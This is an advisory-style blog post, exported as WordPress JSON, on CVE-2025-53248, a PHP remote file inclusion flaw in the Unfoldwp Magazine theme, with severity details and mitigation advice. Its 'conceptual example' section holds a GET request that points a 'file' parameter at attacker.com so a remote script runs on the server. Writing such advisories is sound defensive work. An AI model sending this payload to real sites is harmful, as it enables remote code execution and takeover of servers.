{"id":72702,"date":"2025-09-07T19:10:48","date_gmt":"2025-09-07T19:10:48","guid":{"rendered":""},"modified":"2025-09-27T13:02:02","modified_gmt":"2025-09-27T19:02:02","slug":"cve-2025-53248-php-remote-file-inclusion-vulnerability-in-unfoldwp-magazine","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53248-php-remote-file-inclusion-vulnerability-in-unfoldwp-magazine\/","title":{"rendered":"<strong>CVE-2025-53248: PHP Remote File Inclusion Vulnerability in Unfoldwp Magazine<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The widely used Unfoldwp Magazine platform is facing a significant cybersecurity threat with the discovery of the CVE-2025-53248 vulnerability. This specific vulnerability allows a breach through Improper Control of Filename for an Include\/Require Statement in the PHP program, known as PHP Remote File Inclusion. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54485-buffer-overflow-vulnerability-in-the-biosig-project-libbiosig-opens-door-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"83383\">vulnerability is a serious concern as it opens<\/a> the possibility for system compromise or data leakage, affecting users and businesses that rely on the Unfoldwp Magazine platform. It is, therefore, crucial to understand the nature of this vulnerability, its impact, and how to mitigate it.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53248<br \/>\nSeverity: Critical (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5997-privileged-api-misuse-leads-to-potential-system-compromise-in-beamsec-phishpro\/\"  data-wpil-monitor-id=\"80834\">Potential system compromise<\/a> or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1455124461\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53227-php-remote-file-inclusion-vulnerability-in-unfoldwp-magazine-saga\/\"  data-wpil-monitor-id=\"85487\">Unfoldwp Magazine<\/a> | n\/a through 1.2.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability in question, CVE-2025-53248, is rooted in the PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3671-critical-local-file-inclusion-vulnerability-in-wpgym-wordpress-gym-management-system-plugin\/\"  data-wpil-monitor-id=\"80512\">File Inclusion<\/a> (RFI). RFI is a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53143-type-confusion-vulnerability-in-windows-message-queuing\/\"  data-wpil-monitor-id=\"80430\">type of vulnerability<\/a> most often found in web applications that allows an attacker to include a remote file, usually through a script on the web server, which can lead to data leakage or even system compromise.<br \/>\nIn this particular case, the Unfoldwp Magazine does not properly control the filename for Include\/Require Statement in its PHP program, allowing an attacker to manipulate the PHP &#8216;include&#8217; or &#8216;require&#8217; functions and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23310-remote-code-execution-vulnerability-in-nvidia-triton-inference-server\/\"  data-wpil-monitor-id=\"80308\">execute arbitrary PHP code<\/a> on the target server. This can enable the attacker to gain <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40743-unauthorized-vnc-access-in-sinumerik-systems-due-to-insufficient-password-verification\/\"  data-wpil-monitor-id=\"80323\">unauthorized access<\/a> to sensitive data, modify system configurations, or even take over the system.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3521270722\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example demonstrating how an attacker might exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerable-unfoldwp.com<\/code><\/pre>\n<p>In this example, the attacker manipulates the &#8216;<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions\/\"  data-wpil-monitor-id=\"81093\">file<\/a>&#8216; parameter in the URL to point to a malicious PHP script hosted on their server (`http:\/\/attacker.com\/malicious_script.txt`). When the request is processed by the Unfoldwp Magazine platform, the malicious script is executed, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2020-9322-statamic-core-xss-vulnerability-leading-to-unauthorized-admin-account-creation\/\"  data-wpil-monitor-id=\"80290\">leading to unauthorized<\/a> actions being carried out on the server.<\/p>\n<p><strong>Mitigation Measures<\/strong><\/p>\n<p>Users of the affected <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53244-php-remote-file-inclusion-vulnerability-in-unfoldwp-magazine-elite\/\"  data-wpil-monitor-id=\"85489\">Unfoldwp Magazine<\/a> versions are strongly advised to apply the vendor patches as soon as they become available. In the meantime, consider employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can monitor and block suspicious activities, providing an additional layer of protection against potential exploits.<br \/>\nIt is also recommended to regularly update and patch all software, and to follow best <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47159-windows-virtualization-based-security-enclave-privilege-escalation-vulnerability\/\"  data-wpil-monitor-id=\"80288\">security practices such as least privilege<\/a> principle and input validation to reduce the attack surface and protect against similar vulnerabilities in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The widely used Unfoldwp Magazine platform is facing a significant cybersecurity threat with the discovery of the CVE-2025-53248 vulnerability. This specific vulnerability allows a breach through Improper Control of Filename for an Include\/Require Statement in the PHP program, known as PHP Remote File Inclusion. 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